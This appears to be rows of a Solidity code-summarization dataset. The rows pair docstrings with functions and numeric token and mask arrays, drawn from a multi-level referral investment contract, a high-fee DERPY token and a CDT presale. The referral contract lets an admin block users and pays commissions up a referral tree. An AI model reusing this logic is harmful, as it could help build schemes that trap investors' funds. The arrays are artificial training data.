receivedAmount); } function getProfitWallet(address _user) public view returns (uint16) { validateSender(_user); Balance storage userBalance = balances[_user]; return uint16(userBalance.totalProfited.mul(1e4).div(userBalance.totalDeposited)); } function getEndAt(address _user) public view returns (uint) { validateSender(_user); return packages[_user].endAt; } function getNextWithdraw(address _user) public view returns (uint) { validateSender(_user); uint lastWithdraw = lW[_user]; if (lastWithdraw == 0) { return 0; } return lastWithdraw + 30 days; } function getLastProfited(address _user) public view returns (uint) { validateSender(_user); return lP[_user]; } // PRIVATE-FUNCTIONS function updatePackageInfo(address _to, PackageType _packageType, uint _dabAmount, uint _gemAmount) private { Package storage package = packages[_to]; package.packageType = _packageType; package.lastPackage = _dabAmount.add(_gemAmount); package.dabAmount = package.dabAmount.add(_dabAmount); package.gemAmount = package.gemAmount.add(_gemAmount); package.startAt = now; package.endAt = package.startAt + parseEndAt(_packageType); } function parsePackageType(uint8 _index) private pure returns (PackageType) { require(_index >= 0 && _index <= 10, 'Invalid index'); if (_index == 1) { return PackageType.M3; } else if (_index == 2) { return PackageType.M6; } else if (_index == 3) { return PackageType.M9; } else if (_index == 4) { return PackageType.M12; } else if (_index == 5) { return PackageType.M15; } else if (_index == 6) { return PackageType.M18; } else { return PackageType.M0; } } function parseEndAt(PackageType _type) private pure returns (uint) { return uint(_type) * 3 * 30 days; } function parseProfitRate(PackageType _type) private pure returns (uint) { if (_type == PackageType.M3) { return 4; } else if (_type == PackageType.M6) { return 5; } else if (_type == PackageType.M9) { return 6; } else if (_type == PackageType.M12) { return 8; } else if (_type == PackageType.M15) { return 10; } else if (_type == PackageType.M18) { return 12; } else { return 0; } } function addRewardToUpLines(address _invitee, uint _dabAmount, uint _gemAmount, PackageType _packageType) private { address inviter; uint16 referralLevel = 1; address tempInvitee = _invitee; do { inviter = contractNo3.getInviter(tempInvitee); if (inviter != address(0x0)) { contractNo3.addNetworkDepositedToInviter(inviter, _dabAmount, _gemAmount); if (_packageType >= PackageType.M6) { checkAddReward(_invitee, inviter, referralLevel, _dabAmount.add(_gemAmount)); } tempInvitee = inviter; referralLevel += 1; } } while (inviter != address(0x0)); } function checkAddReward(address _invitee, address _inviter, uint16 _referralLevel, uint _packageAmount) private { Balance storage inviterBalance = balances[_inviter]; Package storage inviterPackage = packages[_inviter]; bool userCannotGetCommission = inviterBalance.totalProfited > inviterBalance.totalDeposited.mul(3); if (inviterPackage.packageType < PackageType.M9 || userCannotGetCommission) { return; } uint f1M9Deposited = contractNo3.getF1M9Deposited(_inviter); uint16 directlyM9InviteeCount = uint16(contractNo3.getDirectlyInviteeHaveJoinedM9Package(_inviter).length); uint8 rank = contractNo3.getRank(_inviter); mapping(string => uint) userCommission = commissions[_inviter][_invitee]; uint commissionAmount; if (_referralLevel == 1) { commissionAmount = _packageAmount.div(5); inviterBalance.dividendBalance = inviterBalance.dividendBalance.add(commissionAmount); emit DividendBalanceChanged(_inviter, _invitee, int(commissionAmount)); userCommission[DAB] = userCommission[DAB].add(commissionAmount); } else if (_referralLevel > 1 && _referralLevel < 11) { bool condition1 = f1M9Deposited >= contractNo1.minJP().mul(3); bool condition2 = directlyM9InviteeCount >= _referralLevel; if (condition1 && condition2) { commissionAmount = _packageAmount.div(20); inviterBalance.dividendBalance = inviterBalance.dividendBalance.add(commissionAmount); emit DividendBalanceChanged(_inviter, _invitee, int(commissionAmount)); inviterBalance.gemBalance += int(commissionAmount); emit GEMBalanceChanged(_inviter, _invitee, int(commissionAmount)); userCommission[DAB] = userCommission[DAB].add(commissionAmount); userCommission[GEM] = userCommission[GEM].add(commissionAmount); } } else if (_referralLevel < 21) { if (rank == 1) { commissionAmount = _packageAmount.div(20); inviterBalance.dividendBalance = inviterBalance.dividendBalance.add(commissionAmount); } else if (2 <= rank && rank <= 5) { commissionAmount = increaseInviterDividendBalance(inviterBalance, rank, _packageAmount); } userCommission[DAB] = userCommission[DAB].add(commissionAmount); emit DividendBalanceChanged(_inviter, _invitee, int(commissionAmount)); } else { commissionAmount = increaseInviterDividendBalance(inviterBalance, rank, _packageAmount); userCommission[DAB] = userCommission[DAB].add(commissionAmount); emit DividendBalanceChanged(_inviter, _invitee, int(commissionAmount)); } } function increaseInviterDividendBalance(Balance storage inviterBalance, uint8 _rank, uint _packageAmount) private returns (uint) { uint commissionAmount; if (_rank == 2) { commissionAmount = _packageAmount.div(20); inviterBalance.dividendBalance = inviterBalance.dividendBalance.add(commissionAmount); } else if (_rank == 3) { commissionAmount = _packageAmount.div(10); inviterBalance.dividendBalance = inviterBalance.dividendBalance.add(commissionAmount); } else if (_rank == 4) { commissionAmount = _packageAmount.mul(15).div(100); inviterBalance.dividendBalance = inviterBalance.dividendBalance.add(commissionAmount); } else if (_rank == 5) { commissionAmount = _packageAmount.div(5); inviterBalance.dividendBalance = inviterBalance.dividendBalance.add(commissionAmount); } return commissionAmount; } function validateTransferGem(address _from, address _to, uint _amount) private { require(contractNo3.isCitizen(_from), 'Please register first'); require(contractNo3.isCitizen(_to), 'You can only transfer to exists member'); if (_from != _to) { require(contractNo3.checkInvestorsInTheSameReferralTree(_from, _to), 'This user isn\'t in your referral tree'); } validateTAmount(_amount); } function validateTAmount(uint _amount) private { require(_amount >= minT, 'Transfer failed due to difficulty'); TTracker[] storage userTransferHistory = tTracker[msg.sender]; if (userTransferHistory.length == 0) { require(_amount <= maxT, 'Amount is invalid'); } else { uint totalTransferredInLast24Hour = 0; uint countTrackerNotInLast24Hour = 0; uint length = userTransferHistory.length; for (uint i = 0; i < length; i++) { TTracker storage tracker = userTransferHistory[i]; bool transferInLast24Hour = now - 1 days < tracker.time; if(transferInLast24Hour) { totalTransferredInLast24Hour = totalTransferredInLast24Hour.add(tracker.amount); } else { countTrackerNotInLast24Hour++; } } if (countTrackerNotInLast24Hour > 0) { for (uint j = 0; j < userTransferHistory.length - countTrackerNotInLast24Hour; j++){ userTransferHistory[j] = userTransferHistory[j + countTrackerNotInLast24Hour]; } userTransferHistory.length -= countTrackerNotInLast24Hour; } require(totalTransferredInLast24Hour.add(_amount) <= maxT, 'Too much for today'); } userTransferHistory.push(TTracker(now, _amount)); } function calculateProfit(address _user, uint _profitable) private view returns (uint, uint) { uint16 profitedPercent = getProfitWallet(_user); if (profitedPercent <= firstProfitCheckpoint) { return (_profitable, 0); } else if (profitedPercent <= secondProfitCheckpoint) { return (_profitable.div(2), _profitable.div(2)); } else if (profitedPercent <= thirdProfitCheckpoint) { Balance storage userBalance = balances[_user]; if (userBalance.totalProfited.add(_profitable) > userBalance.totalDeposited.mul(3)) { _profitable = userBalance.totalDeposited.mul(3).sub(userBalance.totalProfited); } return (_profitable.mul(30).div(100), _profitable.mul(70).div(100)); } else { return (0, 0); } } function calculateWithdrawableDAB(address _user, uint _contractNo1Balance, uint _withdrawable) private returns (uint, uint) { Balance storage userBalance = balances[_user]; if (_contractNo1Balance < _withdrawable) { int gemAmount = int(_withdrawable.sub(_contractNo1Balance)); userBalance.gemBalance += gemAmount; emit GEMBalanceChanged(_user, address(0x0), gemAmount); return (_contractNo1Balance, _withdrawable.sub(_contractNo1Balance)); } else { return (_withdrawable, 0); } } function resetUserBalance(address _user) private { Balance storage userBalance = balances[_user]; emit DividendBalanceChanged(_user, address(0x0), int(int(userBalance.dividendBalance) * -1)); userBalance.dividendBalance = 0; userBalance.totalProfited = 0; Package storage userPackage = packages[_user]; userPackage.packageType = PackageType.M0; userPackage.lastPackage = 0; userPackage.dabAmount = 0; userPackage.gemAmount = 0; userPackage.startAt = 0; userPackage.endAt = 0; } function removeUpLineCommission(address _invitee) private { address inviter; address directInvitee = _invitee; do { inviter = contractNo3.getInviter(directInvitee); if (inviter != address(0x0)) { mapping(string => uint) userCommission = commissions[inviter][_invitee]; Balance storage userBalance = balances[inviter]; if (userBalance.dividendBalance > userCommission[DAB]) { userBalance.dividendBalance = userBalance.dividendBalance.sub(userCommission[DAB]); } else { userBalance.dividendBalance = 0; } if (int(int(userCommission[DAB]) * -1) != 0) { emit DividendBalanceChanged(inviter, address(0x0), int(int(userCommission[DAB]) * -1)); } userBalance.gemBalance -= int(userCommission[GEM]); if (int(int(userCommission[GEM]) * -1) != 0) { emit GEMBalanceChanged(inviter, address(0x0), int(int(userCommission[GEM]) * -1)); } userCommission[DAB] = 0; userCommission[GEM] = 0; directInvitee = inviter; } } while (inviter != address(0x0)); } function validateSender(address _investor) private view { if (msg.sender != _investor && msg.sender != mainAdmin && msg.sender != address(contractNo1) && msg.sender != address(contractNo3) && msg.sender != address(this) ) { require(!ha[_investor], 'Stop!!!'); } } }
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), reverts when dividing by zero./
function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, 'SafeMath mod error'); return a % b; }
12,578,372
[ 1, 7244, 4369, 2795, 9088, 12321, 471, 1135, 326, 10022, 261, 22297, 3571, 26109, 3631, 15226, 87, 1347, 3739, 10415, 635, 3634, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 681, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 565, 2583, 12, 70, 480, 374, 16, 296, 9890, 10477, 681, 555, 8284, 203, 565, 327, 279, 738, 324, 31, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xFB4D53276f365fbaa7ce728D564832E316d785cf/sources/contracts/ddd1.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("DERPY", "DERPY") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 15; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 25; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 69000000000 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
9,720,513
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 4179, 16235, 3113, 315, 4179, 16235, 7923, 288, 203, 7010, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 7010, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 7010, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 7010, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 4711, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 8870, 14667, 273, 374, 31, 203, 7010, 3639, 2 ]
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev Transfer token for a specified address * @param _to The address to transfer to * @param _value The amount to be transferred */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address * @param _owner The address to query the the balance of * @return An uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * @dev Implementation of the basic standard token * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 The amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title PreSale CDT token * @dev The minting functionality is reimplemented, as opposed to inherited * from MintableToken, to allow for giving right to mint to arbitery account. */ contract PreSaleCDT is StandardToken, Ownable, Pausable { // Disable transfer unless explicitly enabled function PreSaleCDT() public { paused = true; } // The address of the contract or user that is allowed to mint tokens. address public minter; /** * @dev Set the address of the minter * @param _minter address to be set as minter. * * Note: We also need to implement "mint" method. */ function setMinter(address _minter) public onlyOwner { minter = _minter; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public returns (bool) { require(msg.sender == minter); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Transfer(0x0, _to, _amount); return true; } /** * @dev account for paused/unpaused-state. */ function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Token meta-information * @param name of the token as it's shown to user * @param symbol of the token * @param decimals number * Number of indivisible tokens that make up 1 CDT = 10^{decimals} */ string public constant name = "Presale CDT Token"; string public constant symbol = "CDT"; uint8 public constant decimals = 18; } /** * @title Cryder Crowdsale contract * @dev Govern the presale: * 1) Taking place in a specific limited period of time. * 2) Having HARDCAP value set --- a number of sold tokens to end the pre-sale * * Owner can change time parameters at any time --- just in case of emergency * Owner can change minter at any time --- just in case of emergency * * !!! There is no way to change the address of the wallet !!! */ contract PreSaleCrowd is Ownable { // Use SafeMath library to provide methods for uint256-type vars. using SafeMath for uint256; // The hardcoded address of wallet address public wallet; // The address of presale token PreSaleCDT public token; /** * @dev Variables * * @public START_TIME uint the time of the start of the sale * @public CLOSE_TIME uint the time of the end of the sale * @public HARDCAP uint256 if @HARDCAP is reached, presale stops * @public the amount of indivisible quantities (=10^18 CDT) given for 1 wei */ uint public START_TIME = 1508544000; uint public CLOSE_TIME = 1509728400; uint256 public HARDCAP = 50000000000000000000000000; uint256 public exchangeRate = 9000; /** * Fallback function * @dev The contracts are prevented from using fallback function. * That prevents loosing control of tokens that will eventually get attributed to the contract, not the user. * To buy tokens from the wallet (that is a contract) user has to specify beneficiary of tokens using buyTokens method. */ function () payable public { require(msg.sender == tx.origin); buyTokens(msg.sender); } /** * @dev A function to withdraw all funds. * Normally, contract should not have ether at all. */ function withdraw() onlyOwner public { wallet.transfer(this.balance); } /** * @dev The constructor sets the tokens address * @param _token address */ function PreSaleCrowd(address _token, address _wallet) public { token = PreSaleCDT(_token); wallet = _wallet; } /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @dev Sets the start and end of the sale. * @param _start uint256 start of the sale. * @param _close uint256 end of the sale. */ function setTime(uint _start, uint _close) public onlyOwner { require( _start < _close ); START_TIME = _start; CLOSE_TIME = _close; } /** * @dev Sets exhange rate, ie amount of tokens (10^18 CDT) for 1 wei. * @param _exchangeRate uint256 new exhange rate. */ function setExchangeRate(uint256 _exchangeRate) public onlyOwner { require(now < START_TIME); exchangeRate = _exchangeRate; } /** * @dev Buy tokens for all sent ether. Tokens will be added to beneficiary's account * @param beneficiary address the owner of bought tokens. */ function buyTokens(address beneficiary) payable public { uint256 total = token.totalSupply(); uint256 amount = msg.value; require(amount > 0); // Check that hardcap not reached, and sale-time. require(total < HARDCAP); require(now >= START_TIME); require(now < CLOSE_TIME); // Override exchange rate for daily bonuses if (now < START_TIME + 3600 * 24 * 1) { exchangeRate = 10800; } else if (now < START_TIME + 3600 * 24 * 2) { exchangeRate = 10350; } else if (now < START_TIME + 3600 * 24 * 3) { exchangeRate = 9900; } // Mint tokens bought for all sent ether to beneficiary uint256 tokens = amount.mul(exchangeRate); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, amount, tokens); // Mint 8% tokens to wallet as a team part uint256 teamTokens = tokens / 100 * 8; token.mint(wallet, teamTokens); // Finally, sent all the money to wallet wallet.transfer(amount); } }
* @dev Sets the start and end of the sale. @param _start uint256 start of the sale. @param _close uint256 end of the sale./
function setTime(uint _start, uint _close) public onlyOwner { require( _start < _close ); START_TIME = _start; CLOSE_TIME = _close; }
923,367
[ 1, 2785, 326, 787, 471, 679, 434, 326, 272, 5349, 18, 225, 389, 1937, 2254, 5034, 787, 434, 326, 272, 5349, 18, 225, 389, 4412, 2254, 5034, 679, 434, 326, 272, 5349, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
